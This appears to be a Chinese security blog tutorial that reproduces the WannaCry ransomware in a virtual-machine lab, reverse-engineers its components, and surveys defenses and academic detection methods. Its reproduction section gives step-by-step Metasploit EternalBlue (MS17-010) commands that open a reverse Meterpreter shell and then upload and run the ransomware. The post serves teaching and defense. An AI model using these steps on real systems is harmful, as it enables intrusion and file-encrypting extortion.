[系统安全] 二十六.WannaCry勒索病毒分析 (2)MS17-010漏洞利用及蠕虫解析

您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

作者前文采用Github资源实现永恒之蓝漏洞加载WannaCry勒索病毒,并实现对Win7文件加密的过程,但过程较为复杂,为什么不直接利用永恒之蓝呢?所以,这篇文章将直接分享MSF利用MS17-010漏洞进行反弹Shell,再上传勒索病毒进行实验复现,并详细讲解WannaCry勒索病毒的原理。基础性文章,希望对您有所帮助。

在这里插入图片描述

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

作者的github资源:

从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!

接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~

前文分析:

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)


一.WannaCry背景

2017年5月12日,WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发,感染大量的计算机。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,造成损失达80亿美元,已影响金融、能源、医疗、教育等众多行业,造成严重的危害。

WannaCry是一种“蠕虫式”勒索病毒软件,由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”(永恒之蓝)进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密。

WannaCry利用Windows系统的SMB漏洞获取系统的最高权限,该工具通过恶意代码扫描开放445端口的Windows系统。被扫描到的Windows系统,只要开机上线,不需要用户进行任何操作,即可通过共享漏洞上传WannaCry勒索病毒等恶意程序。

在这里插入图片描述

WannaCry利用永恒之蓝漏洞进行网络端口扫描攻击,目标机器被成功攻陷后会从攻击机下载WannaCry木马进行感染,并作为攻击机再次扫描互联网和局域网的其他机器,行成蠕虫感染大范围超快速扩散。

木马母体为mssecsvc.exe,运行后会扫描随机IP的互联网机器,尝试感染,也会扫描局域网相同网段的机器进行感染传播,此外会释放敲诈者程序tasksche.exe,对磁盘文件进行加密勒索。

木马加密使用AES加密文件,并使用非对称加密算法RSA 2048加密随机密钥,每个文件使用一个随机密钥,理论上不可攻破。同时@[email protected]显示勒索界面。其核心流程如下图所示:

在这里插入图片描述

WannaCry勒索病毒主要行为是传播和勒索。

  • 传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
  • 勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;内存加载加密器模块,加密执行类型文件,全部加密后启动解密器;解密器启动后,设置桌面背景显示勒索信息,弹出窗口显示付款账号和勒索信息


二.WannaCry实验复现

1.实验环境搭建

实验环境:

  • 攻击机:Kali-linux-2019.2 IP:192.168.44.138
  • 受害主机:Win7 64位 IP:192.168.44.147

实验工具:

  • metasploit
  • MS17-010
  • Wcry.exe

实验步骤:

  • 配置Windows Server 2003、Kali、Windows7实验环境
  • Kali检测受害主机445端口(SMB协议)是否开启
  • 运行EternalBlue永恒之蓝漏洞(MS17-010)反弹shell
  • 上传勒索病毒wcry.exe并运行
  • 实现勒索和文件加密

切记、切记、切记:实验复现过程中必须在虚拟机中完成,运行之前关闭虚拟机Win7文件共享,真机上一旦被感染你就真的只能想哭了(wannacry)。同时,该实验比上一篇文章精简很多,更推荐该方法,仅作逆向分析使用,切勿攻击他人,否则后果自负。


第一步,创建虚拟机并安装Windows7 x64位操作系统。Win7设置开启445端口,同时关闭防火墙。注意,关闭虚拟机文件共享功能。

在这里插入图片描述

第二步,保证攻击机和受害机相互通讯,均在同一个局域网中。

在这里插入图片描述


2.Kali利用MS17-010反弹Shell

第一步,扫描靶机是否开启445端口。

  • nmap -sS 192.168.44.147

在这里插入图片描述

第二步,打开msfconsole并查询MS17-010漏洞模块。
这里有各种MS17-010漏洞版本,我们根据目标系统选择编号为3的版本。推荐读者看看NSA泄露的方程式工具包,其中永恒之蓝(eternalblue)就是著名的漏洞。

  • msfconsole
  • search ms17-010

在这里插入图片描述

第三步,利用永恒之蓝漏洞并设置参数。

  • use exploit/windows/smb/ms17_010_eternalblue
    利用永恒之蓝漏洞
  • set payload windows/x64/meterpreter/reverse_tcp
    设置payload
  • set LHOST 192.168.44.138
    设置本机IP地址
  • set RHOSTS 192.168.44.147
    设置受害主机IP
  • set RPORT 445
    设置端口445,注意该端口共享功能是高危漏洞端口,包括之前分享的139、3389等
  • exploit
    利用漏洞

在这里插入图片描述

第四步,成功获取Win7系统管理员权限。

  • getuid
    返回系统管理员权限
  • pwd、ls
    查看当前路径及目录

在这里插入图片描述

第五步,上传勒索病毒至Win7系统。再次强调,虚拟机中运行该实验,并且关闭文件共享功能。

  • shell
  • upload /root/wcry.exe c:\
  • wcry.exe

在这里插入图片描述
在这里插入图片描述

第六步,运行勒索病毒,实验复现成功。
运行前的受害主机界面如下图所示:

在这里插入图片描述

运行病毒程序后的界面如下图所示,已经成功被勒索。再次强调,所有代码必须在虚拟机中执行,并且关闭文件共享。

在这里插入图片描述

加密系统中的文件,被加密的文件后缀名统一修改为“.WNCRY”。

  • b.wnry: 中招敲诈者后桌面壁纸
  • c.wnry: 配置文件,包含洋葱域名、比特币地址、tor下载地址等
  • f.wnry: 可免支付解密的文件列表
  • r.wnry: 提示文件,包含中招提示信息
  • s.wnry: zip文件,包含Tor客户端
  • t.wnry: 测试文件
  • u.wnry: 解密程序

在这里插入图片描述

在这里插入图片描述



三.防御措施

勒索软件防御常见的措施如下:

  • 开启系统防火墙
  • 关闭445、139等端口连接
  • 开启系统自动更新,下载并更新补丁,及时修复漏洞
  • 安装安全软件,开启主动防御进行拦截查杀
  • 如非服务需要,建议把高危漏洞的端口都关闭,比如138、139、445、3389等

由于WannaCry勒索病毒主要通过445端口入侵计算机,关闭的方法如下:

  • 控制面板–>windows防火墙—>高级选项–>入站规则
  • 新建规则–>选择端口–>指定端口号445
  • 选择阻止连接–>配置文件全选–>规则名称–>成功关闭

实验在虚拟机中进行,也需要关闭共享文件夹功能,如下图所示。

在这里插入图片描述



四.WannaCry病毒分析

分析方法主要有两种:静态分析和动态分析

  • 静态分析以反汇编为主,通过分析勒索软件的代码了解其行为和各功能实现细节
  • 动态分析主要有动态调试、行为分析、沙盒分析
  • 动态调试主要配合静态分析进行,对静态分析进行辅助
  • 行为分析主要通过系统日志来观察勒索软件的行为,从而了解勒索软件行为
  • 沙盒分析作为目前自动化分析的主要手段,主要用来辅助手动分析。通过在沙盒中运行勒索软件,能够得到勒索软件的API调用、文件行为、网络行为等行为

首先,我们来看看安天分享的Wannacry流程图,其运行流程包括:

  • 主程序文件利用漏洞传播自身,运行WannaCry勒索程序
  • WannaCry勒索程序释放tasksche.exe,对磁盘文件进行加密勒索
  • @[email protected]显示勒索信息,解密示例文件

在这里插入图片描述

接下来我们利用IDA进行逆向分析。

在这里插入图片描述


1.母体程序mssecsvc.exe行为分析

(1) 主函数逆向如下,包括创建工作目录、设置注册表、导入密钥、对t.wncy解密等功能。

在这里插入图片描述

(2) 主程序运行后会先连接该域名,如果该域名可以访问则退出,不触发任何恶意行为。如果该域名无法访问,则触发传播和勒索行为。目前该域名已被英国安全公司接管。

注意,目前网上的wrcy.exe我都只发现了勒索功能,前面网络部分及传播功能代码未找到。如果有该部分样本的读者,希望能告知作者,非常感谢。

在这里插入图片描述

(3) 创建开机自启动mssecsvc2.0服务并启动该服务。

在这里插入图片描述

(4) 从木马自身读取MS17-010漏洞利用代码,Playload分为x86和x64两个版本。

在这里插入图片描述

(5) 接着母体程序创建两个线程分别扫描内网和外网IP,开始进行蠕虫传播感染。

  • 公网:随机IP地址445端口进行扫描感染
  • 内网:直接扫描当前计算机所在的网段进行感染

在这里插入图片描述

在这里插入图片描述

(6) 感染过程尝试连接445端口,如果连接成功则对该地址尝试漏洞攻击感染。

在这里插入图片描述

在这里插入图片描述

(7) 母体程序mssecsvc.exe利用MS17-010漏洞进行网络传播。
获取目标主机权限后,但其并不会直接发送自身exe程序到目标,而是发送一段经过异或加密后的Payload到目标机器中执行。Payload由shellcode+包含样本自身的dll组成。

在这里插入图片描述

dll具有一个导出函数PlayGame,将资源文件释放保存为mssecsvc.exe并执行。

在这里插入图片描述

(8) 加载资源到新建目录下并命名为taskche.exe,接着运行该程序。

  • StartTaskcheEXE()先尝试以服务的形式启动cmd.exe,cmd.exe通过参数启动taskche.exe
  • 如果以服务的方式启动失败,就以普通进程的方式启动taskche.exe

在这里插入图片描述
在这里插入图片描述

(9) 释放tasksche.exe,路径为C:\windows\tasksche.exe。

在这里插入图片描述



2.tasksche.exe行为分析

(1) 解压释放大量敲诈者模块及配置文件,解压密码为WNcry@2ol7。

在这里插入图片描述

注意,如果我们将“wcry.exe”修改为“wcry.zip”,可以发现其是个压缩文件,包括以下内容。其解压密码也正是WNcry@2ol7。

在这里插入图片描述

(2) 设置工作目录、设置注册表、解压文件、获取比特币钱包等。

在这里插入图片描述

(3) 释放资源。

  • b.wnry: 中招敲诈者后桌面壁纸
  • c.wnry: 配置文件,包含洋葱域名、比特币地址、tor下载地址等
  • f.wnry: 可免支付解密的文件列表
  • r.wnry: 提示文件,包含中招提示信息
  • s.wnry: zip文件,包含Tor客户端
  • t.wnry: 测试文件
  • u.wnry: 解密程序

在这里插入图片描述

(4) t.wnry文件包含一个加密的dll文件,WannaCry勒索程序会解密并动态加载调用TaskStart导出函数,文件加密等恶意行为在该dll中实现。

在这里插入图片描述

(5) 加密勒索过程会创建互斥体和初始化全局变量。

在这里插入图片描述

(6) 检查互斥体是否存在。

在这里插入图片描述

(7) 检查00000000.dky和00000000.pky是否存在,是否配对。如果加密,则创建线程:更新c.wncy、启动@[email protected]、设置启动项。

在这里插入图片描述

(8) 程序内置RSA 2048公钥用于加密。

在这里插入图片描述

(9) 完成所有文件加密后释放说明文档,弹出勒索界面,需支付比特币到指定的比特币钱包地址,三个比特币钱包地址编码于程序中:

  • 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
  • 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
  • 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

在这里插入图片描述



3.@[email protected]程序分析

程序会将@[email protected]复制到被加密文件的文件夹下,衍生大量语言配置文件、具有加密功能的文件、窗体文件等,该程序没有传播、加密等恶意功能。

在这里插入图片描述

IDA逆向如下图所示:

在这里插入图片描述

@[email protected]是样本加密完用户数据显示的勒索界面程序,负责显示比特币钱包地址,演示部分解密文件。详细流程如下图所示:

在这里插入图片描述

  • @[email protected]会创建00000000.res,内容为加密的文件数量、大小等信息,随后@[email protected]样本将该文件内容回传到攻击者的暗网服务器。
  • 服务器收到用户上传的00000000.res内容后会返回一个比特币钱包地址,然后样本更新c.wnry配置文件中的比特币钱包地址。
  • 当用户根据新的钱包地址付款并点击Check Payment后,会将本地00000000.res和00000000.eky回传到服务器,如果攻击者确认这个00000000.res文件对应的比特币钱包收到付款,则将00000000.eky文件解密后返回给目标主机。
  • 受害主机收到服务器解密00000000.eky内容保存为00000000.dky,随后样本遍历磁盘文件,排除设置好的自身文件和系统目录文件,使用收到的00000000.dky密钥解密后缀为.WNCYR或.WNCRY的文件。


五.WannaCry病毒检测

写到这里,整个实验复现及分析过程介绍完毕,接下来作者简单介绍学术界三种检测WannaCry病毒的方法——CryptoLock、ShieldFS、Redemption,更推荐读者阅读论文。

  • Scaife N, Carter H, Traynor P, et al. Cryptolock (and drop it): stopping ransomware attacks on user data[C]//2016 IEEE 36th International Conference on Distributed Computing Systems (ICDCS). IEEE, 2016: 303-312.
  • Kharraz A, Kirda E. Redemption: Real-time protection against ransomware at end-hosts[C]//International Symposium on Research in Attacks, Intrusions, and Defenses. Springer, Cham, 2017: 98-119.
  • Continella A, Guagnelli A, Zingaro G, et al. ShieldFS: a self-healing, ransomware-aware filesystem[C]//Proceedings of the 32nd Annual Conference on Computer Security Applications. ACM, 2016: 336-347.

(1) CryptoLock
CryptoLock在内核层中捕获从用户层发来的I/O请求,并将其发送到应用层进行判定、分类,应用层将Allow/Dis-allow消息发送到内核层后,内核层执行Pass/Block操作。

核心思想是使用文件过滤驱动拦截应用层的I/O请求,然后进行行为判定,如果判断为恶意I/O则拒绝该I/O请求。

主要指标:

  • A、文件类型变化:作者通过监控这些头部的转变来检测文件类型是否变化,如果文件类型变化,则写入操作是可疑的。
  • B、相似度衡量:作者选用了sdhash来衡量原文件内容与写入内容的相似度,如果写入数据与原数据相似度很低,则该写入操作很可疑。
  • C、香农熵(信息熵):作者使用信息熵来衡量写入数据的无序程度。熵值取值从0~8,越高则认为写入的数据越可疑。

次要指标:

  • 删除操作:作者认为,一类勒索病毒通过将加密信息写入其它文件后删除原文件来加密用户文件。当一个进程删除了很多用户文件时,就认为这个进程很可疑。
  • 漏斗式文件类型(File Type Funneling):作者认为正常的进程(如Word),可能会读取很多类型的文件,但是一般只会写入一种类型的文件。当一个进程读取很多种类型的文件,同时又写入了很多种类型的文件时,该进程就很可疑。

作者使用了上面几种指标联合判决的方式来判断一个进程是否为恶意进程。
CryptoLock流程如下所示:

在这里插入图片描述


(2) ShieldFS
ShieldFS是在CryptoLock的基础上进行的研究。ShieldFS同样使用文件过滤驱动捕获应用层的I/O请求来进行恶意软件检测,与CryptoLock不同的是,CryptoLock在判别方式上进行了改进,以及增加了勒索软件检出后的被加密文件恢复机制。

ShieldFS流程如如下所示,其主要模块有两个:检测模块和恢复模块。恢复模块用某种机制对文件进行备份,在检测模块检测出某进程为恶意进程后,恢复被恶意进程加密的文件。

在这里插入图片描述


(3) Redemption
与ShieldFS相似的,Redemption也分为恶意行为检测部分和备份部分。它与ShieldFS不同的地方就在于判别使用的指标和备份、恢复文件的方式。同时,Redemption使用了基于内容的指标和基于行为的指标,最后对各种指标进行计分,通过得分是否超过阈值来判断进程是否为恶意进程。

Redemption流程如如下所示:

在这里插入图片描述



六.总结

写到这里,这篇WannaCry勒索病毒复现和分析的文章就介绍结束了,希望对您有所帮助。接着作者还会继续深入地逆向分析该勒索病毒的原理及调用关系,也推荐大家阅读参考文献大佬们的文章。继续加油~

在这里插入图片描述

这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知自己很菜,得努力前行。

欢迎大家讨论,是否觉得这系列文章帮助到您!如果存在不足之处,还请海涵。任何建议都可以评论告知读者,共勉~

2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。

(By:Eastmount 2021-03-01 晚上12点夜于武汉 http://blog.csdn.net/eastmount )


参考文献:
[1] 勒索病毒“WannaCry”之复现过程(永恒之蓝)- weixin_40950781
[2] Windows再曝“WannaCry”级漏洞 CVE-2019-0708,专治 XP、Win7 - FB客户
[3] 对WannaCry的深度分析 - 鬼手56
[4] 安天针对勒索蠕虫“魔窟”(WannaCry)的深度分析报告
[5] [原创]勒索病毒WannaCry深度技术分析——详解传播、感染和危害细节 - 火绒实验室
[6] WannaCry蠕虫详细分析 - FreeBuf腾讯
[7] [病毒分析]WannaCry病毒分析(永恒之蓝) - 小彩虹
[8] 威胁预警 | 蠕虫级漏洞BlueKeep(CVE-2019-0708) EXP被公布 - 斗象智能安全平台
[9] [反病毒]病毒分析实战篇1–远控病毒分析 - i春秋老师
[10] wannacry,petaya,meze等病毒样本 - CSDN下载
[11] 针对WannaRen勒索软件的梳理与分析 - 安天

猜你喜欢

转载自blog.csdn.net/Eastmount/article/details/114274291
今日推荐